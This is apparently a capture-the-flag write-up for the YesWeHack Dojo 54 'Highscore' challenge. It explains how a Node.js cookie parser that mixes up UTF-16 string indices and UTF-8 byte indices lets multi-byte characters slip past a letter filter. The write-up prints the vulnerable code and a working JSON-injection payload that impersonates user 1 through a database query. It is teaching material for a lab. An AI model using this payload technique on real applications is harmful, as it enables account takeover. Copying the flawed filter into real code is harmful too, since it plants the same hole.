YWH - Dojo 54 - Highscore
For this challenge, we need to exploit the applications parsing of user cookies. The vulnerability is found in the missmatch between Javascript string and UTF-8 byte indexing.
By bypassing the filter we inject additional JSON data, this data will then be passed as database query allowing us to impersonate a user.
Session string example:
bob:RkxBR3tWZXJpZnlfdGhpc19mbGFnfQ
The application uses the cookie to construct an object that is
subsequently passed to the database through
Users.findOne().
The vulnerability:
function parseCookie(raw) {
const sep = raw.indexOf(':'); // Determine the separator
const id = Number(raw.slice(0, sep)); // Grab the numbers on the left side of ':'
const session = raw.slice(sep + 1); // Grab the session string to the right of ':' as utf-16
const bytes = Buffer.from(session, 'utf8'); // Bytes = to session string UTF-16 as UTF-8
for (let i = 0; i < session.length; i++) {
const b = bytes[i];
const isLetter =
(b >= 0x41 && b <= 0x5a) || // a-z
(b >= 0x61 && b <= 0x7a) || // A-Z
b >= 0x80; // Rejects ASCII digits and punctuation, but it accepts non-ASCII bytes.
if (!isLetter) {
throw new Error('invalid game session');
}
}
return JSON.parse(
`{"id":${id}, "session":{"session":"${session}"}}`
);
}The important bits: - The input is split at the first colon to extract the ID and session. - The session is converted into a UTF-8 buffer from UTF-16. - The session is directly casted into a JSON string, which gets directly parsed.
The payload:
# Make sure you have enough buffer length
, "session":{"id":1}, "something": {"anything":"
What matters here is that we choose the user session with the
id of 1. This is for the user that holds our flag.
Simple enough, if this was all but we still need to defeat the filter final boss.
Bypassing the filter:
Here’s the relevant code:
const bytes = Buffer.from(session, 'utf8');
for (let i = 0; i < session.length; i++) {
const b = bytes[i];
const isLetter =
(b >= 0x41 && b <= 0x5a) ||
(b >= 0x61 && b <= 0x7a) ||
b >= 0x80;
if (!isLetter) {
throw new Error('invalid game session');
}
}Here are the 3 conditions to beat: 1.
(b >= 0x41 && b <= 0x5a) - This accepts
uppercase ASCII letters, A to Z. 2.
(b >= 0x61 && b <= 0x7a) - This accepts
lowercase ASCII letters, a to z. 3. b >= 0x80; - This
rejects ASCII digits and punctuation, but it accepts non-ASCII
bytes.
The missmatch:
The missmatch arise from two different expressions.
Missmatching expressions 1:
session.lengthMissmatching expressions 2:
bytes[i]JavaScript strings are indexed by UTF-16 code units, whereas Buffer.from(session, ‘utf8’) produces a sequence of UTF-8 bytes.
These are different representations of the same input, and their lengths and indices do not necessarily correspond.
For example, consider the character ij (U+0133). Its UTF-8 encoding is:
C4 B3
But the character occupies only one UTF-16 code unit in the
JavaScript string. The filter reads the byte at the corresponding index
in the UTF-8 buffer. For this character, that byte is 0xC4,
which passes the filter because it is greater than or
equal to 0x80.
This lets us use non-ASCII characters whose UTF-8 bytes pass the filter while their JavaScript string representation is later interpreted differently by the parser.
It is important to note that the filter does not simply truncate a UTF-16 register to eight bits! This is not assembly! Instead, it indexes a UTF-8 byte buffer using an index derived from the JavaScript string’s UTF-16.
Putting it all together:
Solution:
1:ŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒ"}, "session":{"id":1}, "a": {"a":"a
Let’s go through each part:
1- This defines the user.:- The separator.ŒŒŒŒ...ŒŒŒŒŒŒŒŒ- The buffer. It can’t be too big but can be too small."}- With this we close the JSON object we were writing to.,- This enables us to modify the JSON object and add properties to it."session":{"id":1},- The session we want to impersonate, with a trailing,to close the object."a": {"a":"a- Mostly arbitrary but you need to ignore the closing curly braces and double quote. This is for syntaxical reasons.
Code sample:
Server.js:
function parseCookie(raw) {
const sep = raw.indexOf(':');
const id = Number(raw.slice(0, sep));
const session = raw.slice(sep + 1);
const bytes = Buffer.from(session, 'utf8');
for (let i = 0; i < session.length; i++) {
const b = bytes[i];
const isLetter = (b>=0x41&&b<=0x5a)||(b>=0x61&&b<=0x7a)||b>=0x80;
if (!isLetter) throw new Error('invalid game session');
}
return JSON.parse(`{"id":${id}, "session":{"session":"${session}"}}`);
}
async function main() {
process.chdir('/tmp/app');
await init()
const indexTemplate = ejs.compile(
fs.readFileSync('views/index.ejs', 'utf-8'),
{ filename: 'views/index.ejs' }
);
try {
var output = ""
const cookie = parseCookie(decodeURIComponent(""));
const record = await Users.findOne({
where: cookie["session"],
});
const data = record?.dataValues || null
if (data !== null && data?.session == flag) {
output = flag
}
console.log(indexTemplate({ flag: output }));
} catch (e) {
console.log(e);
}
}
main()